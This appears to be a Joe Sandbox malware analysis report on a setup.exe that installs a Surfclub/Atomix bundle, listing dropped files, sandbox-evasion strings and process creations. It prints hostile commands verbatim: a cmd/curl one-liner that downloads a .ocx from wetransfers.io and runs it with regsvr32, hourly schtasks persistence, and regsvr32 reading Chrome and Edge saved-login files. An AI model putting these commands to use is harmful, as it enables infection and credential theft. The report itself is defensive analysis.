Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFEF9.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiFAE8.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFF68.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6001.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFD41.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI42FE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\ShortcutFlags.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFF39.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFB66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFD70.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4251.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\setup.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\setup.exe	API coverage: 7.8 %
Source: C:\Program Files (x86)\Main\MainSoftware.exe	API coverage: 0.0 %
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	API coverage: 0.0 %

Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 4364	Thread sleep count: 261 > 30	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 560	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 2316	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 184 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 252 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6344	Thread sleep count: 48 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 54 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 191 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 4918 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6308	Thread sleep count: 526 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe TID: 3804	Thread sleep count: 292 > 30
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe TID: 6548	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Surfclub\Install.exe TID: 6528	Thread sleep count: 227 > 30
Source: C:\Program Files\Surfclub\Install.exe TID: 6528	Thread sleep count: 85 > 30
Source: C:\Program Files\Surfclub\Install.exe TID: 4136	Thread sleep count: 62 > 30
Source: C:\Program Files\Surfclub\Install.exe TID: 6148	Thread sleep count: 685 > 30
Source: C:\Program Files\Surfclub\Install.exe TID: 6148	Thread sleep count: 35 > 30
Source: C:\Program Files\Surfclub\Install.exe TID: 6500	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 3084	Thread sleep count: 275 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 2112	Thread sleep count: 43 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 2260	Thread sleep count: 36 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 4464	Thread sleep count: 176 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 3084	Thread sleep count: 98 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 5472	Thread sleep count: 451 > 30
Source: C:\Program Files\Surfclub\Surfclub.exe TID: 2412	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A03E0 FindFirstFileW,FindClose,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	0_2_004A03E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004763A0 FindFirstFileW,GetLastError,FindClose,	0_2_004763A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A2630 FindFirstFileW,FindClose,CloseHandle,CloseHandle,	0_2_004A2630
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003354C0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,	0_2_003354C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049C670 FindFirstFileW,FindClose,	0_2_0049C670
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004C0840 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	0_2_004C0840
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00485040 FindFirstFileW,FindClose,FindClose,	0_2_00485040
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00475A60 FindFirstFileW,FindFirstFileW,FindClose,FindClose,	0_2_00475A60
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003354C0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,	6_2_003354C0

Source: C:\Users\user\Desktop\setup.exe

Code function: 6_2_00359010 GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,

6_2_00359010

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0053F6C2 VirtualQuery,GetSystemInfo,

0_2_0053F6C2

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Surfclub.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: HKEY_USERSRegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1VMware20,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: MainSoftware.exe, 00000013.00000002.2485035212.000001CE9DF84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MainSoftware.exe, 00000013.00000002.2487963075.0000020F354F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_005482F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005482F3

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0046FA80 GetLocalTime,CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,

0_2_0046FA80

Source: C:\Users\user\Desktop\setup.exe

0_2_0048CF30

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00542A8E mov esi, dword ptr fs:[00000030h]		0_2_00542A8E
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00542A8E mov esi, dword ptr fs:[00000030h]		6_2_00542A8E

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00542AFA GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,

0_2_00542AFA

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files\Surfclub\Surfclub.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00354B60 __set_se_translator,SetUnhandledExceptionFilter,	0_2_00354B60
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_005482F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005482F3
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0054357E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0054357E
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_005482F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_005482F3
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0054357E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0054357E
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00361A50 __set_se_translator,SetUnhandledExceptionFilter,	6_2_00361A50
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00354B60 __set_se_translator,SetUnhandledExceptionFilter,	6_2_00354B60

Source: C:\Program Files (x86)\Main\MainSoftware.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 104.21.59.228 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 149.154.167.220 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 34.160.111.145 80

.NET source code references suspicious native API functions

Source: 35.2.Surfclub.exe.2b03cd20000.69.raw.unpack, ActiveDirectorySite.cs	Reference to suspicious API methods: global::Interop.Kernel32.GetProcAddress(DirectoryContext.ADHandle, "DsListDomainsInSiteW")
Source: 35.2.Surfclub.exe.2b03cd20000.69.raw.unpack, Utils.cs	Reference to suspicious API methods: global::Interop.Advapi32.OpenProcessToken(global::Interop.Kernel32.GetCurrentProcess(), 8, out phThreadToken)
Source: 35.2.Surfclub.exe.2b03cd20000.69.raw.unpack, DirectoryContext.cs	Reference to suspicious API methods: global::Interop.Kernel32.LoadLibrary(systemDirectory + "\\ntdsapi.dll")

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_003FA4E0 CreateFileW,CloseHandle,WriteFile,CloseHandle,ShellExecuteExW,

0_2_003FA4E0

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="6264" CHAINERUIPROCESSID="6264Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\setup.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741190130 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\setup.exe" AI_INSTALL="1"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: C:\Program Files\Surfclub\Install.exe	Process created: C:\Program Files\Surfclub\Surfclub.exe "C:\Program Files\Surfclub\Surfclub.exe" install https://datashieldsecure.com/amz/?source_id=1

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "c:\users\user\desktop\setup.exe" /i "c:\users\user\appdata\roaming\atomix\atomix 1.0.0\install\69b1923\distributor software.msi" ai_euimsi=1 appdir="c:\program files (x86)\atomix" secondsequence="1" clientprocessid="6264" chaineruiprocessid="6264chainer" action="install" executeaction="install" clientuilevel="0" addlocal="mainfeature" primaryfolder="appdir" rootdrive="c:\" ai_detected_admin_user="1" ai_setupexepath="c:\users\user\desktop\setup.exe" setupexedir="c:\users\user\desktop\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1741190130 " targetdir="c:\" ai_setupexepath_original="c:\users\user\desktop\setup.exe" ai_install="1"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "c:\users\user\desktop\setup.exe" /i "c:\users\user\appdata\roaming\atomix\atomix 1.0.0\install\69b1923\distributor software.msi" ai_euimsi=1 appdir="c:\program files (x86)\atomix" secondsequence="1" clientprocessid="6264" chaineruiprocessid="6264chainer" action="install" executeaction="install" clientuilevel="0" addlocal="mainfeature" primaryfolder="appdir" rootdrive="c:\" ai_detected_admin_user="1" ai_setupexepath="c:\users\user\desktop\setup.exe" setupexedir="c:\users\user\desktop\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1741190130 " targetdir="c:\" ai_setupexepath_original="c:\users\user\desktop\setup.exe" ai_install="1"			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00470D70 GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,GetLastError,CloseHandle,

0_2_00470D70

Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,		0_2_004A4A20
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,		6_2_0055DD4F

Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Bay0NsQIzx\output.zip VolumeInformation
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Bay0NsQIzx\output.zip VolumeInformation

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004BBD60 CreateNamedPipeW,CreateFileW,

0_2_004BBD60

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0054419E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0054419E

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004BA6E0 GetUserNameW,GetLastError,GetUserNameW,GetEnvironmentVariableW,GetEnvironmentVariableW,RegDeleteValueW,RegCloseKey,RegQueryInfoKeyW,RegCloseKey,RegCloseKey,RegDeleteKeyW,RegCloseKey,RegDeleteValueW,RegCloseKey,

0_2_004BA6E0

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00317A00 GetVersionExW,GetVersionExW,IsProcessorFeaturePresent,

0_2_00317A00

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A Blob

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	12 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	1 Software Packing	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	26 System Information Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	33 Masquerading	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	31 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
setup.exe